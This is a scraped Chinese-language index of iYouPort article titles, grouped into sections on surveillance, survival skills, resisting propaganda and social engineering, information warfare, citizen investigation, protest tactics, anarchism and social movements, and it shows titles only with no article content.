12. 硅谷充斥着中国和沙特的资金，有谁关心？ - iYouPort
13. 老大哥的联盟 - iYouPort
14. 谁在作恶？ - iYouPort
15. 贝尔格莱德欢迎中国老大哥 - iYouPort
16. 走进暗杀之城 - iyouport
17. 还是高堡奇人：中美 1984 在海湾的黑手 - iyouport
18. 阿根廷不只有足球，还有中国的中兴通讯 - iYouPort
19. 非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家 - iYouPort

8. IYP-Direct-Action（5）

1. 在灾难中幸存

    1. 活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知 - iyouport
    2. 准确的情报和判断：基准线 — 在灾难中幸存的方法（2） - iyouport
    3. 您必备的基本防身装备：在灾难中幸存的方法（3） - iyouport
    4. 如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4） - iyouport
    5. 如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5） - iyouport
    6. 特工战斗法帮你摆脱跟踪监视：在灾难中幸存的方法（6） - iyouport
    7. 如何欺骗，和如何防骗：在灾难中幸存的方法（7） - iyouport
    8. 武器和自我防御的重要策略：在灾难中幸存的方法（8） - iyouport
    9. 您的生存工具箱中应该放入什么：在灾难中幸存的方法（9） - iyouport
    10. 如何在大规模枪击案中幸存：在灾难中幸存（10） - iyouport

2. 如何应对断网

    1. 断网后如何进行文件共享和通信？：如何应对断网（1） - iyouport
    2. 如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2） - iyouport
    3. 我应该使用这个应用程序保存真相吗？：如何应对断网（3） - iyouport
    4. 没有互联网的情况下如何验证视觉信息的真伪：如何应对断网（4） - iyouport
    5. 如何在没有互联网或计算机的情况下备份手机中的媒体文档？：如何应对断网（5） - iyouport

3. 劝导术（完成）

    1. 警惕微妙的劝导术：“宣传即侵略”——埋下诱饵

乖乖上钩 - iYouPort
2. 警惕微妙的劝导术：一个能力排众议博取认同的“骗子”长啥样 - iYouPort
3. 警惕微妙的劝导术：互联网上的认知吝啬鬼和理性化怪圈 - iYouPort
4. 警惕微妙的劝导术：伪真相——新闻机构和读者皆需谨慎 - iYouPort
5. 警惕微妙的劝导术：影响力强大的措辞和想象中的“美女” - iYouPort
6. 警惕微妙的劝导术：恐惧诉求——埋下情绪 操控思想 - iYouPort
7. 警惕微妙的劝导术：政治宣传和大众劝导——你可能没意识到的信息陷阱 - iYouPort
8. 警惕微妙的劝导术：虚假帮派——效力最强的宣传攻势 - iYouPort
9. 警惕微妙的劝导术完结篇：反守为攻 - iYouPort

4. 社交工程-反操纵、反欺骗

1. “我永远正确”背后的动机 - iYouPort
2. 5种有效的社交工程启发术 - iYouPort
3. 一个人的疏忽将拖累所有人陷入危险 - iYouPort
4. 交流出现了什么问题（上）为什么总是难以说服他人？ - iYouPort
5. 交流出现了什么问题（下）来，实现沟通 - iYouPort
6. 交流出现了什么问题（中）网络舆论场的交流障碍和解决办法 - iYouPort
7. 人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题 - iYouPort
8. 人性的懦弱：社交工程攻击和行为操纵的便捷入口 - iYouPort
9. 侦查和欺骗：这里是社交工程攻击必备的技术工具 - iYouPort
10. 信息收集：决胜的根基 — — 技术和技巧依旧是关键（上） - iYouPort
11. 击败骗局 — 9个防御技巧 - iYouPort
12. 只有自己学会伪装才能识破伪装者 — — 社交工程学攻防知识（下） - iYouPort
13. 如何使用社交工程来攻击 2FA？ - iyouport

14. 如何克服社交焦虑 - iYouPort
15. 如何让一个人心甘情愿吐露重要信息？ — — 社交工程攻击“诱导的艺术” - iyouport
16. 如何让自己变成另一个人？ — — 社交工程学攻防知识（上） - iYouPort
17. 对话是门技术活：擅长对话的攻击者能操纵你做任何事 - iYouPort
18. 影响与操控不是一码事：如何将另一个人变成你想要的样子？ - iYouPort
19. 挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践继续 - iYouPort
20. 摆脱操纵和宣传：28个长期技巧 - iyouport
21. 更糟糕的局面 - iYouPort
22. 现实生活中遍地都是可利用的信息：社交工程学侦查实践 - iYouPort
23. 用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？ - iyouport
24. 礼貌的偏执 - iyouport
25. 语言是强大的武器 — — 如何使用它？社交工程攻击演示继续：致命的诱导 - iYouPort

5. 心理战和信息战

1. AS22 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
2. LR ＜可视化信息战＞ 第2部分：社交媒体战场、人工政治和逮捕 - iyouport
3. LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport
4. LR 看清信息战：2019全球有组织社交媒体操纵清单 - iyouport
5. 一个惊人的案例：积极的反政府抗议者居然是个假人 - iyouport
6. 为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？ - iyouport
7. 为何假消息反而被热传，当下的解决方案有什么错 - iYouPort
8. 人格暗杀和抹黑运动：谁在受益？ - iyouport
9. 信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听 - iYouPort

10. 在数字信息战时代，如何才能避免上当受骗？来，玩几个游戏 - iYouPort
11. 在线宣传战的结果 - iYouPort
12. 如何使用 Maltego 监测推特上的政府信息战 - iyouport
13. 如何分辨：机器人、僵尸网络和 trolls - iYouPort
14. 如何创建一个赚大钱的虚假信息业务？ - iyouport
15. 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
16. 如何在网上兜售谎言？ - 他们承诺可以"按照你的意愿改变任何现实" - iYouPort
17. 如何经营一个假新闻帝国？ - iYouPort
18. 守门人作为认知杀手 - iyouport
19. 宣传战的诡迹 - iyouport
20. 巨魔崛起：政府资助的网络水军正遍布全球 - iyouport
21. 廉价造假和深度造假，究竟哪个更可怕？ - iYouPort
22. 当恶意者掌握技术：信息战的未来究竟有多可怕？ - iYouPort
23. 当视频证据显示你杀人…… 全身DeepFake意味着什么？ - iyouport
24. 微妙的宣传 - iYouPort
25. 心理操纵的秘密：”行为经济学”＋PR＝？ - iyouport
26. 所有信息都是战略性的：信息地缘政治 - iyouport
27. 操纵式宣传：五个过滤器和识别线索 - iyouport
28. 标签中的政治宣传 - iyouport
29. 检测和防止深度造假的新方法 - iYouPort
30. 武器化的社交媒体正在推动法西斯主义的爆发 - iYouPort
31. 电影电视究竟是什么？为什么稍有权势的人都想要审查控制文艺创作？ - iYouPort
32. 秘密宣传战网络 - iyouport
33. 第2部分：社交媒体战场、人工政治和逮捕 - iYouPort
34. 粗制滥造的图像和视频依旧不影响骗人，这是为什么？ - iYouPort
35. 纠错有很高的技术含量 稍有不慎便适得其反，该怎么做？ - iYouPort

36. 网络水军如何不断操纵您在社交媒体上看到的内容 - iYouPort
37. 网络水军如何试图影响选举？ - iYouPort
38. 解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？ - iyouport
39. 趣味心理战（推荐纪录片） - iYouPort
40. 追踪政府宣传战的内幕：跨平台网络分析的数字取证案例 - iYouPort
41. 选举运动的数字化斗争: 2020 Presidential Race - iYouPort
42. 骇客如何利用主流媒体愚弄大众？ - iYouPort

6. 战略性欺骗-识别和抵制

1. 反情报能力和思维模式 — 识别战略性欺骗的主要途径（6 - 上） - iyouport
2. 在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视 - iyouport
3. 媒体操控：战略性欺骗的重头戏 - iyouport
4. 我是如何上当受骗的？ - iYouPort
5. 报告：为什么虚假总是能‘击败’真相？机器人水军并不是主要原因 - iyouport
6. 摆脱操纵和宣传：28个长期技巧 - iyouport
7. 辟谣往往无效除非自我批驳 — 识别战略性欺骗的主要途径（6 - 下） - iyouport
8. “让数据说话”只是个唬人的幌子：识破谎言（1） - iyouport
9. 如何把你的对手变成困兽：间谍心理战战术（1） - iyouport
10. 欺骗不是撒谎这么简单：对峙的艺术（1） - iyouport
11. 伟大的自欺 — 战略性欺骗的心理维度（2） - iyouport
12. 巧妙的威胁：间谍心理战战术（2） - iyouport
13. 数轴有鬼：用数据可视化撒谎很简单（2） - iyouport
14. 恶搞统计数据：小心媒体用统计忽悠人（3） - iyouport
15. 想象力、创造力和较量 — 欺骗与反欺骗的互动（3） - iyouport

16. 偏执的保密 — 欺骗的主要方法之一（4） - iyouport
17. 看起来专业不意味着正确：反知识的迷惑性（4） - iyouport
18. 编造概率和编造风险：欺骗者如何利用你的思维漏洞（5） - iyouport
19. 让你看见 — 欺骗的积极方法之二（5） - iyouport
20. 如何知道自己不知道什么：防骗战术（6） - iyouport

7. 公民调查指南-不再吃瓜

1. 挖掘数字图像：安全地自动批量提取位置数据 - iyouport
2. 不再吃瓜：把你的”围观”变成利器 — 公民调查指南（1） - iyouport
3. 如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？ - iYouPort
4. 如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1） - iyouport
5. 推荐一些好用的音频转录工具：公民调查指南（2） - iyouport
6. 你的对话容易出现哪些错误？ — 应该说的和不应该说的话：公民调查指南（4） - iyouport
7. 套话的战术：利用情感，但不要被情感所利用 — 公民调查指南（5） - iyouport
8. FBI同款调查技巧 — 公民调查指南（6） - iyouport
9. 您的工作应成为社会变革的动力：公民调查指南（7） - iYouPort
10. 未经验证则无效：从挖掘好的证据到整体安全 - 公民调查指南（8） - iyouport

8. 开始调查

1. 保持敏锐需要一些技巧：开始调查（1）- 从嗅觉到行动力 - iYouPort
2. 没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1） - iYouPort

3. 发现不正常的活动：从追踪到验证的思考方式（2） - iYouPort
4. 如何处理巴拿马文件那种规模的泄漏？：开始调查（2）- 介绍一些工具 - iYouPort
5. 互联网信息生态很容易被操纵，信息战只是其中一少部分因素：从追踪到验证的思考方式（3） - iYouPort
6. 如何跟踪离岸公司、如何确保信息正确：开始调查（3） - iYouPort
7. 突发事件中需要注意的东西：从追踪到验证的思考方式（3） - iYouPort
8. 从可疑信号开始：从追踪到验证的思考方式（4） - iyouport
9. 验证图像和视频信息时您需要思考什么：从追踪到验证的思考方式（5） - iyouport
10. 调查一个可疑网站的最简单方法：从追踪到验证的思考方式（6） - iyouport

9. 行动技巧、战术和原理

1. （0）直接行动分步指南：它是什么、它有什么用、如何获得成功 - iyouport
2. AS22 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
3. 什么是无用的觉醒 - iyouport
4. 你可能误会了的“暴力”和“非暴力” - iYouPort
5. 在抗议活动中，媒体作为叙事矩阵的操纵者 - iyouport
6. 如何分辨：机器人、僵尸网络和 trolls - iYouPort
7. 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
8. 如何启动黑群 (Black bloc)：从准备到行动：直接行动指南 - iyouport
9. 如何在”没信号”的情况下保持联系：构建离网Wi-Fi语音通信系统的方法 - iyouport
10. 如何迎接更多的“巴拿马文件”？ - iYouPort
11. 建立国际团结：全球斗争中的人际关系 - iyouport
12. 当我们陷入困境：中国社会能从美国的反抗运动中学到什么 - iyouport
13. 想做自己的电子游戏吗？6种工具帮您实现这点 -

iYouPort
14. 活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项 - iyouport
15. 要运动，不诉求 - iyouport
16. 违者必究还是宽宏大量？- 闲聊从波普尔到失败的革命 - iyouport
17. 遮住脸部成为当今抗议者的首要目标 - iyouport
18. （1）您知道自己正在和谁说话吗？：被压迫者剧院和隐形剧场 - iyouport
19. 克服挑战的策略：反抗者工具包（1） - iyouport
20. （2）被压迫者的教育学，和”高级传单” - iyouport
21. 了解您的权利：反抗者工具包（2） - iyouport
22. （3）您知道该如何培养和维持信任吗？- 管理信息源的有效方法：简易指南 - iyouport
23. 合作是强大的武器：反抗者工具包（3）- 您可以利用哪些力量？ - iyouport
24. （4）结识新认识的人时您应该曝光自己多少信息？- 原则和技巧 - iyouport
25. （5）如何释放隐藏的创造力 - iyouport
26. （8）如何创建真正的民主 - iyouport
27. （9）活动家团队如何建立自己的维基站点？ - iyouport
28. （10）直接行动的关键在于协作，但协作的能力并非天生 - iyouport
29. （12）到底有多少人参加游行？当媒体和警方的数字都是错误的时，如何估算 - iyouport
30. （13）超越抗议 - iyouport
31. （14）新的抗议时代 - iyouport
32. （15）给活动家的建议：如何让你们的行动变得更强大 —— 等待关注是肯定不行的 - iyouport
33. （16）重要性需要被感知而不是被介绍 - iyouport
34. （17）利用讲述故事推动社会变革的秘诀：更好的合作伙伴关系 - iyouport
35. （18）如果抗议是非法的，那就让日常生活成为抗议 - iyouport
36. （19）不要让你的对手定义你 - iyouport
37. （20）共识只是手段而不是目的 - iyouport
38. （21）分布式行动的街头派对 - iyouport
39. （22）框架是一种权力 - iyouport
40. （23）别把注意力集中在抵抗上：预设性干预战术

- iyouport
41. （24）在社交媒体上”抗议”有什么问题？ - iyouport
42. （25）了解你的地形是策划行动的第一步 - iyouport
43. （26）展示，而不是告知：空降泰迪熊的大胜 - iyouport
44. （27）真正的行动取决于你的目标的反应：战略柔术 - iyouport
45. （28）不手淫，要做爱：受众才是见证人 - iyouport
46. （29）别让媒体为你的对手工作：创造性破坏 - iyouport
47. （30）以聪明的方式被捕：投标人和盟友的光谱 - iyouport
48. （31）简单地压倒性 —— 用行动说话：鞋子金字塔 - iyouport
49. （32）自杀不是明智之举：警惕政治认同悖论 - iyouport
50. （33）抗议行动不是广场舞：表达性和工具性的矛盾 - iyouport
51. （34）威胁感可能比事物本身更有效：战略性直接行动 - iyouport
52. （35）赴死不是英雄：冒险，但要小心 - iyouport
53. （36）明智地选择你的目标：绘制权力地图 - iyouport
54. （37）更改一个名称以更改整个游戏：”我的语言”和取景框 - iyouport
55. （38）抗议者如何对付警察：警惕”水壶”战术 - iyouport
56. （39）讯息纪律不是创造力的敌人：”每一次心跳都很重要” - iyouport
57. （40）有策略地升级：不要爱上战术 - iyouport
58. （41）先有组织而不是先有运动：Baraza 机制 - iyouport
59. （42）唯一不变的就是变化：更新无止境 - iyouport
60. （43）债务反叛运动：传统的阶层斗争可能不再适用 - iyouport
61. （44）以景观为武器：Détournement - iyouport

62. （45）让你的对手陷入愚蠢滑稽：充气”武力”和反叛小丑军 - iyouport
63. （46）内裤的力量：创造性行动和4点经验 - iyouport
64. （47）7个以抵抗为主题的棋盘游戏，升级你的战斗技巧 - iyouport
65. （48）如何更好地让您的爆料获得媒体的支持？ - iyouport
66. （50）非政府组织如何与联合国人权委员会合作以改善国家的人权状况？ - iyouport
67. （53）走出部落 - iyouport
68. （57）技术如何塑造21世纪的创造性抗议？ - iyouport
69. （58）“战略网”：鲜为人知的工具 — 可视化抗议运动能否成功以及为什么失败，包括六四 - iyouport
70. （59）“胶囊” 系统：公民积累体系 - iyouport

10. 长读

    1. “不要旧常态，不要新常态”：2021世界各地的五一节抗议活动 - iyouport
    2. "他们认为杀几个人就能制服我们，而我们变成了数百万人" - iyouport
    3. "你们站在正义的一边"：在世界上最大的开放式监狱加入起义 - iyouport
    4. “内卷”、躺平、政治、经济、工人阶级和民族主义：全方位看中国 - iyouport
    5. "只有起义才能拯救我们"：要彻底铲除让暴政掌权的土壤，而不仅仅是瓦解现有暴政 - iyouport
    6. "我们要尝试一种没有霸权的生活"：对香港行动者的访谈 - iyouport
    7. “智能城市”究竟是个什么鬼？！ - iYouPort
    8. LR ＜可视化信息战＞ 第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iyouport
    9. LR ＜可视化信息战＞ 第2部分：社交媒体战场、人工政治和逮捕 - iyouport
    10. LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport
    11. LR 从民主到自由 - iyouport

12. LR 以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家 — ⚠ 亚洲有香港
13. LR 打破 Matrix 的路 ~ 与IYP对话2020：关于中国和美国 - iyouport
14. LR 操纵不确定性："网络安全" 的政治 - iyouport
15. LR 政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？ — — 围观 Twitter 活动地图
16. LR 新闻之死 — — 民主体制是否能修复的关键是什么？ - iyouport
17. LR 用技术作为促进透明度革命的武器：一个成功的尝试 - iyouport
18. LR 看清信息战：2019全球有组织社交媒体操纵清单 - iyouport
19. LR 真的有脑控这种事吗：一项尘封的恐怖实验和暗杀的真相 - iyouport
20. LR 美国、中国和俄罗斯：暗网最强大的民族国家骇客 - iyouport
21. LR 让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证 - iyouport
22. LR 这不是一场竞技表演：关于IYP为什么要采取开源情报 - iyouport
23. LR 铁幕之下：全球反抗者如何对战监视者？ - iyouport
24. 不，互联网并没有杀死反文化 -- 您只是在寡头服务上找不到它 - iyouport
25. 与其说是互联网的末日，不如说是世界末日更容易理解？ - iyouport
26. 为什么是塔利班赢了？：以阿富汗为镜，全球背景下的塔利班胜利 - iyouport
27. 五一节：勇气和抵抗的故事 - iyouport
28. 从独裁到民主，反抗的火焰 -- 48年 - iyouport
29. 他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕 - iyouport
30. 以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群 - iyouport
31. 俄罗斯正模仿美国棱镜计划建立大规模监视系统 — — Wikileaks 披露（中文版）⏳ - iYouPort

32. 信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听 - iYouPort
33. 反诈中心应用程序危险在哪里？如何抵制？- 审计报告 - iyouport
34. 口罩的政治 - iyouport
35. 可视化数据：全球监控行业 — — 谁是大哥？谁在作恶？ - iYouPort
36. 国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？ - iYouPort
37. 在中国：意识形态的爆炸点 - iyouport
38. 大屠杀的幕后推手 - iyouport
39. 大崩溃 - - 从中国的恒大地产开始 - iyouport
40. 好奇心比聪明更重要：与IYP对话2021 -- 什么是民主？如何战斗？ - iyouport
41. 如何保护自己免受蔓延全世界的最强大的以色列间谍软件 Pegasus 的攻击 - iyouport
42. 如何成为革命者 - iyouport
43. 工作，是个什么东西 - iyouport
44. 巨魔崛起：政府资助的网络水军正遍布全球 - iyouport
45. 平等是如何消失的 - iyouport
46. 当恶意者掌握技术：信息战的未来究竟有多可怕？ - iYouPort
47. 当我们陷入困境：中国社会能从美国的反抗运动中学到什么 - iyouport
48. 德国的森林占领运动：学习抵抗的战术、战略和文化 - iyouport
49. 我们一起来对战巨人：世界各地的快递小哥终于组织起来形成了真正的反抗力量 - iyouport
50. 我们这些99%：在占领华尔街十周年的日子里思考新的政治身份 - iyouport
51. 所有信息都是战略性的：信息地缘政治 - iyouport
52. 打破得意和绝望的循环 -- 大卫·格雷伯：胜利的冲击 - iyouport
53. 报告：为什么虚假总是能‘击败’真相？机器人水军并不是主要原因 - iyouport
54. 挖掘AI：机器学习训练集中的图像政治 - iyouport
55. 揭示日本秘密间谍机构：拦截通信电邮、试图监视 Tor 网 - iYouPort
56. 改革还是变革？ - iyouport

57. 数字威权主义的兴起: 灾年之畔 - iYouPort
58. 数字焚书和网络维稳：149个国家/地区的互联网监视审查地图 - iyouport
59. 暴力的非法性，合法性的暴力 - iyouport
60. 朝鲜“改开”的新面目：监视设备的兴起及生活状况的变化（多图） - iYouPort
61. 杀戮无止境：为什么复仇不是一件简单事，以及革命者应该追求什么 - iyouport
62. 每一面旗帜在烈火中都是黑色的 - iyouport
63. 没有”革命的政府”这种东西：为什么你不能用国家废除阶级 - iyouport
64. 浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有 - iYouPort
65. 爱国者悖论 - iyouport
66. 第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iYouPort
67. 网络战：⁉社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ - iYouPort
68. 至少30亿社交媒体用户都在受到其政府的监视 - iyouport
69. 色情网红的崛起 - iyouport
70. 要运动，不诉求 - iyouport
71. 解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？ - iyouport
72. 警察查手机的东西长什么样？—— 从技术角度看移动设备取证 - iyouport
73. 跨大西洋数据交换的结束实际上提供了一个机会，如果美国想抓住它的话 - iyouport
74. 这一次，站起来的是真正的人民 - iyouport
75. 追踪谷歌的政治旋转门：开源调查 - iYouPort
76. 选举如何成为一门生意：私人情报市场和现实的有偿操纵者 - iYouPort
77. 逮捕、追踪和惩罚，全球"反谣言"行动地图 - iYouPort
78. 邪恶列表 — 您了解这些邪恶公司吗？ - iyouport
79. #COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱 - 包括但并仅仅是中国：长篇报告 - iYouPort
80. LR #COVID-19(84)冠状病毒如何让整个地球变成

了反乌托邦地狱 - 包括但并仅仅是中国：长篇报告

11. 无政府主义

    1. "我们要尝试一种没有霸权的生活"：对香港行动者的访谈 - iyouport
    2. （0）直接行动分步指南：它是什么、它有什么用、如何获得成功 - iyouport
    3. LR 从民主到自由 - iyouport
    4. 中央政府的神话 - iyouport
    5. 从独裁到民主，反抗的火焰 -- 48年 - iyouport
    6. 以爱为盟：作为恋人的无政府主义者 - iyouport
    7. 出轨、外遇、‘非法同居’… 解放的激情 —— 在多角恋中冒险的前辈们 - iyouport
    8. 出轨不仅无罪，而且是重要的反抗行动。但故事没有结束于此 … - iyouport
    9. 如何启动黑群 (Black bloc)：从准备到行动：直接行动指南 - iyouport
    10. 工作，是个什么东西 - iyouport
    11. 平等是如何消失的 - iyouport
    12. 建立国际团结：全球斗争中的人际关系 - iyouport
    13. 打破得意和绝望的循环 -- 大卫·格雷伯：胜利的冲击 - iyouport
    14. 改革还是变革？ - iyouport
    15. 暴力的非法性，合法性的暴力 - iyouport
    16. 杀戮无止境：为什么复仇不是一件简单事，以及革命者应该追求什么 - iyouport
    17. 没有”革命的政府”这种东西：为什么你不能用国家废除阶级 - iyouport
    18. 要运动，不诉求 - iyouport

12. 社会运动和公民社会

    1. “在一个完美的世界里，我们是不会存在的“：俄罗斯海盗党和社运心电图 - iyouport
    2. "手机就是我们的枪"：网络空间的真相之战 - iYouPort
    3. LR 从民主到自由 - iyouport
    4. 中央政府的神话 - iyouport
    5. 为什么人与人之间的距离越来越远？不仅仅是在线上 - iYouPort

6. 为什么我们互不信任？ - iyouport
7. 为什么政治将人们分裂 - iyouport
8. 为什么有些抵抗运动无法带来积极的结果，又该如何改变？ - iyouport
9. 什么是无用的觉醒 - iyouport
10. 从冷战到反恐战争：专制 “解决方案” 带来的危害往往大于其表面上旨在应对的威胁 - iyouport
11. 他们不关心你的死活，因为他们是1% - iyouport
12. 别让有钱人给你代言 - iYouPort
13. 前共产国家的今天 - iyouport
14. 在中国，转瞬即逝的"网络抗议"留下了脆弱的记忆 - iyouport
15. 垄断与民主：如何结束镀金时代 - iyouport
16. 如何从Matrix中醒来？ - iyouport
17. 如何讲述故事：开源情报研究初学者的指南 - iyouport
18. 技术巨头不是烟草巨头，至少不仅仅是 - iyouport
19. 投票可能正是民主的问题？
20. 推荐一本书：对匿名协作的研究 - iYouPort
21. 数字时代的人权：技术应该成为你最好的盟友，而不是最大的敌人 - iYouPort
22. 是反抗者的斗争建立了福利国家，而不是哪个"善良的统治者" - iyouport
23. 积极的公民身份可以改变你的国家 - iyouport
24. 谁正在成为独裁者？这十点迹象帮你判断 - iyouport
25. 黄背心错失的机会 - iyouport

13. 社会反抗和思考

1. “21世纪的资本”：一部讲述我们如何陷入困境的纪录片 - iyouport
2. “你的” 叙事 - iyouport
3. "国家与革命" - iyouport
4. "新闻"如何取代了现实生活、威胁了民主？ - iYouPort
5. “智能镇压”时代：民众抗议此起彼伏，但效果如何？ - iyouport
6. “监视资本主义”并非任何创新，为什么理解这点非常重要？ - iyouport

7. "自由万岁！" - - 你可以自由地选择卖命还是挨饿、屈服还是被枪毙 - iyouport
8. “遵循数据”就足够了吗？社会科学不是机械性的数学问题 - iyouport
9. Books 对抗监视资本主义的斗争可以从美国开始吗？- 在国会暴动后重读爱德华·萨义德的 “东方主义”
10. Books 真相的价值 - iyouport
11. Books 随着世界资本主义陷入危机，全球警察国家正在崛起 - iyouport
12. Covid-19 与民主的未来：个人主义和集体主义之间真的需要非此即彼吗？ - iyouport
13. LR 这不是一场竞技表演：关于IYP为什么要采取开源情报 - iyouport
14. LR 铁幕之下：全球反抗者如何对战监视者？ - iyouport
15. 一家寡头退出面部识别市场是远远不够的 - iYouPort
16. 一路的腥风血雨：劳工运动不为人知的故事 - iyouport
17. 不，互联网并没有杀死反文化 -- 您只是在寡头服务上找不到它 - iyouport
18. 世界末日的聊天机器人 - iYouPort
19. 中产阶级和底层的心理如何被法西斯主义所利用 - iyouport
20. 中国特色的反共 - iyouport
21. 中央政府的神话 - iyouport
22. 为什么中国尚且不是 "常规" 的资本主义？ - iYouPort
23. 为什么你的队友之间不会分享知识？ - iyouport
24. 为什么反而是独裁者赢了？ - iyouport
25. 为什么将隐私视为产权的想法必需彻底结束 - iYouPort
26. 为什么工人不反抗？ - iyouport
27. 为什么我们互不信任？ - iyouport
28. 为什么政治将人们分裂 - iyouport
29. 为什么有些抵抗运动无法带来积极的结果，又该如何改变？ - iyouport
30. 为什么街头抗议不起作用？ - iYouPort
31. 为什么说中国是资本主义国家 - iYouPort

32. 为什么说全球化是人类历史上最成功的失败 - iyouport
33. 为什么说阿根廷新当选总统是个骗子；"无政府"究竟是种什么状态？ - iyouport
34. 为什么说马克扎克伯格的 "元宇宙" 是一场反乌托邦的噩梦；互联网作为新的圈地运动 - iyouport
35. 为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆 - iyouport
36. 互联网将不会说英语的(亚裔美国)人排除在外 - iyouport
37. 人口，究竟意味着什么 - iyouport
38. 亿万富翁是经济失败的标志 - iyouport
39. 什么是 antifa，或者说谁是 antifa？ - iyouport
40. 什么是新自由主义？它如何威胁民主？ - iyouport
41. 什么是无用的觉醒 - iyouport
42. 今天的集中营有很多名字，但它们依旧是集中营 - iyouport
43. 从暴民政治到取消文化 - iyouport
44. 他们不关心你的死活，因为他们是1% - iyouport
45. 以爱为盟：作为恋人的无政府主义者 - iyouport
46. 以隐私为目的的斗争如何让你变成了监视的盟友 - iyouport
47. 休克疗法：后社会主义俄罗斯的心理学 - iyouport
48. 伯尼的手套：精英共识之外的团结 - iyouport
49. 你好，无国籍人士 - iyouport
50. 你的老板怎么比网警还厉害？ - iyouport
51. 你真的想要思想自由吗？如果是，可以怎么办？ - iyouport
52. 你骂他，就是给他帮了大忙：一个最新的案例 - iYouPort
53. 停止“主流” - iYouPort
54. 允许亿万富翁与极端贫困同时存在的制度是不道德的 - iYouPort
55. 先开枪，再问问题：来自世界各地的警察暴力 - iyouport
56. 冠状病毒危机究竟是否能够结束？：威权主义的权衡 - iyouport
57. 冠状病毒如何展示了数字技术撕裂社会的极致状态 - iyouport
58. 出轨、外遇、‘非法同居’… 解放的激情 —— 在多

角恋中冒险的前辈们 - iyouport
59. 别再吃药了，精神疾病的病根并不在你的头脑中 - iyouport
60. 前共产国家的今天 - iyouport
61. 剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制 - iyouport
62. 加密货币是荷兰郁金香吗？- 用于辩论的负面评价 - iyouport
63. 加密货币能解决所有权社会的噩梦吗？- 从金融危机到NFT - iyouport
64. 动物农场的世界 - iyouport
65. 历史记忆作为武器：巴黎公社150年周年纪念之际，重温这部电影 - iyouport
66. 去它妈的民族英雄 - iyouport
67. 去爱，就是真正的反抗 - iyouport
68. 反说服 - iyouport
69. 口罩的政治 - iyouport
70. 同理心被高估了 - iyouport
71. 后社会主义中国左翼组织的新方向 - iyouport
72. 在绝望的边缘 - iYouPort
73. 在迪拜看到这个世界的肮脏 - iyouport
74. 外表是骗人的 - iyouport
75. 大国如何瓦解 - iYouPort
76. 如何虚构一个民主实践？ - iyouport
77. 如何识别抗议活动中可见的和不可见的监视 - iyouport
78. 如何说服人们参加抗议活动 - iyouport
79. 如果技术属于人民呢？ - iyouport
80. 家庭餐桌上的政治议题 - iyouport
81. 对学术界的威胁：语言游戏与意识形态 - iYouPort
82. 少说话，多办事 …… 当坏蛋手持宪法 - iyouport
83. 工作，是个什么东西 - iyouport
84. 平等是如何消失的 - iyouport
85. 应许之地的虚假承诺 - iyouport
86. 当共产主义者镇压国际工人运动：八九天安门广场的工人斗争是从一个世界到另一个世界的过渡 - iyouport
87. 当我们陷入困境：中国社会能从美国的反抗运动中学到什么 - iyouport
88. 当政治语言武器化 - iyouport

89. 您可能误会了的民粹主义（上）：民粹主义并非问题 - iyouport
90. 您的所有个人数据都是政治数据：走向民主之前需要了解的事 - iyouport
91. 惩罚性的工作文化迫使年轻人游戏体制 - iyouport
92. 愤怒与报应：针对亚裔美国女性的恐怖战术的悠久历史 - iyouport
93. 我们可以维持吗？ 如何将政治抵抗的热情转化为一个公民参与的新时代 - iyouport
94. 抱歉，反犹太复国主义仍然不等于反犹主义 - iyouport
95. 抵抗中国的资本主义：国际联盟的理由 - iyouport
96. 挖掘AI：机器学习训练集中的图像政治 - iyouport
97. 掏钱吧，亲 … - iyouport
98. 政客和精神病态之间的区别是什么？ - iyouport
99. 政治辩论的局限 - iyouport
100. 数字技术究竟是会杀死民主，还是拯救民主？：这个10年 - iyouport
101. 数字连接已将"社会工厂"变成了全球战场 - iYouPort
102. 斯诺登的盒子：在监视时代的信任 - iyouport
103. 新的压制和新的反抗：社会运动的智慧如何跟上技术型暴政的进化？ - iyouport
104. 新自由主义的香港向世界讲述了一个什么样的故事？ - iYouPort
105. 无产阶级的故事 "无耻之徒"， 结束了 - iyouport
106. 无人关注的周年纪念 - iyouport
107. 时间就是基本人权，是自由理念的重要战场（996不止是辛劳） - iyouport
